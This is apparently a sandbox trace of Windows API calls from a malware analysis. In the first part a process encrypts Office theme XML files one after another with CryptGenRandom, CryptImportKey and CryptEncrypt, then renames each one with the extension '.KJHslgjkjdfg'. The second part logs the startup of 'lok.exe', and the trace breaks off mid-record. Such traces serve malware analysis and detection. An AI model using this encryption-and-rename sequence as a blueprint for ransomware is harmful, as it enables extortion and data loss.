FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0220.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.776] GetProcessHeap () returned 0x990000 [0220.776] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.776] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0220.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.781] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.781] GetProcessHeap () returned 0x990000 [0220.781] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.781] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0220.781] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.781] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0220.781] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.781] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.781] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.782] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3bf, lpOverlapped=0x0) returned 1 [0220.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c0) returned 1 [0220.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.782] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c0, lpOverlapped=0x0) returned 1 [0220.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.782] SetEndOfFile (hFile=0x130) returned 1 [0220.785] GetProcessHeap () returned 0x990000 [0220.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.785] GetProcessHeap () returned 0x990000 [0220.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.kjhslgjkjdfg")) returned 1 [0220.787] CloseHandle (hObject=0x130) returned 1 [0220.787] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0220.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.788] GetProcessHeap () returned 0x990000 [0220.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.788] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0220.791] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.791] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.791] GetProcessHeap () returned 0x990000 [0220.791] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.792] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.792] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.792] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.792] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.792] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.792] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.792] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.792] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.792] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c2, lpOverlapped=0x0) returned 1 [0220.793] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3d0) returned 1 [0220.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.793] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3d0, lpOverlapped=0x0) returned 1 [0220.793] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.793] SetEndOfFile (hFile=0x130) returned 1 [0220.796] GetProcessHeap () returned 0x990000 [0220.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.796] GetProcessHeap () returned 0x990000 [0220.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.kjhslgjkjdfg")) returned 1 [0220.798] CloseHandle (hObject=0x130) returned 1 [0220.798] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x77c7389e, dwReserved1=0x990138, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0220.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0220.800] GetProcessHeap () returned 0x990000 [0220.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.800] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0220.801] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.801] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.801] GetProcessHeap () returned 0x990000 [0220.801] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.801] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0220.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.801] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0220.803] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0220.803] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0220.804] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0220.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0220.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0220.804] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0220.804] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.804] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a0, lpOverlapped=0x0) returned 1 [0220.804] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a0) returned 1 [0220.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.804] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a0, lpOverlapped=0x0) returned 1 [0220.804] CryptDestroyKey (hKey=0x9b6628) returned 1 [0220.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.804] SetEndOfFile (hFile=0x130) Process: id = "2" image_name = "lok.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe" page_root = "0x4659a000" os_pid = "0x418" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xab8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x484 [0067.282] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x34438730, dwHighDateTime=0x1d62786)) [0067.282] GetCurrentProcessId () returned 0x418 [0067.282] GetCurrentThreadId () returned 0x484 [0067.282] GetTickCount () returned 0x1148131 [0067.282] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=18965316329) returned 1 [0069.780] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0069.780] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2a0000 [0069.781] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.781] GetProcAddress (hModule=0x76d30000, lpProcName="FlsAlloc") returned 0x76d44f2b [0069.781] GetProcAddress (hModule=0x76d30000, lpProcName="FlsGetValue") returned 0x76d41252 [0069.781] GetProcAddress (hModule=0x76d30000, lpProcName="FlsSetValue") returned 0x76d44208 [0069.781] GetProcAddress (hModule=0x76d30000, lpProcName="FlsFree") returned 0x76d4359f [0069.789] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.789] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.790] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.790] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.790] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.790] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.790] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.791] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.791] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.791] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.791] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.791] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.792] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0069.792] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x214) returned 0x2a07d0 [0069.792] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.792] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0069.792] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76d30000 [0069.792] GetProcAddress (hModule=0x76d30000, lpProcName="EncodePointer") returned 0x77c80fcb [0069.792] GetProcAddress (hModule=0x76d30000, lpProcName="DecodePointer") returned 0x77c79d35 [0069.793] GetCurrentThreadId () returned 0x484 [0069.793] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4, hStdError=0x8)) [0069.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x800) returned 0x2a09f0 [0069.793] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0069.793] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4 [0069.793] GetFileType (hFile=0x4) returned 0x3 [0069.793] GetStdHandle (nStdHandle=0xfffffff4) returned 0x8 [0069.793] GetFileType (hFile=0x8) returned 0x3 [0069.793] SetHandleCount (uNumber=0x20) returned 0x20 [0069.793] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2744" [0069.793] GetEnvironmentStringsW () returned 0xa501a8* [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xaca) returned 0x2a11f8 [0069.794] FreeEnvironmentStringsW (penv=0xa501a8) returned 1 [0069.794] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x424a58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lok.exe")) returned 0x2d [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x74) returned 0x2a1cd0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x98) returned 0x2a1d50 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3e) returned 0x2a1df0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6c) returned 0x2a1e38 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x6e) returned 0x2a1eb0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x78) returned 0x2a1f28 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x62) returned 0x2a1fa8 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2018 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a2050 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x28) returned 0x2a20a0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1a) returned 0x2a20d0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x4a) returned 0x2a20f8 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x72) returned 0x2a2150 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a21d0 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2208 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1c) returned 0x2a2240 [0069.794] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0xd2) returned 0x2a2268 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x7c) returned 0x2a2348 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a23d0 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3a) returned 0x2a2410 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x90) returned 0x2a2458 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x24) returned 0x2a24f0 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x30) returned 0x2a2520 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x36) returned 0x2a2558 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x48) returned 0x2a2598 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x52) returned 0x2a25e8 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x3c) returned 0x2a2648 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x82) returned 0x2a2690 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2e) returned 0x2a2720 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x1e) returned 0x2a2758 [0069.795] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x8, Size=0x2c) returned 0x2a2780 [0069.795] 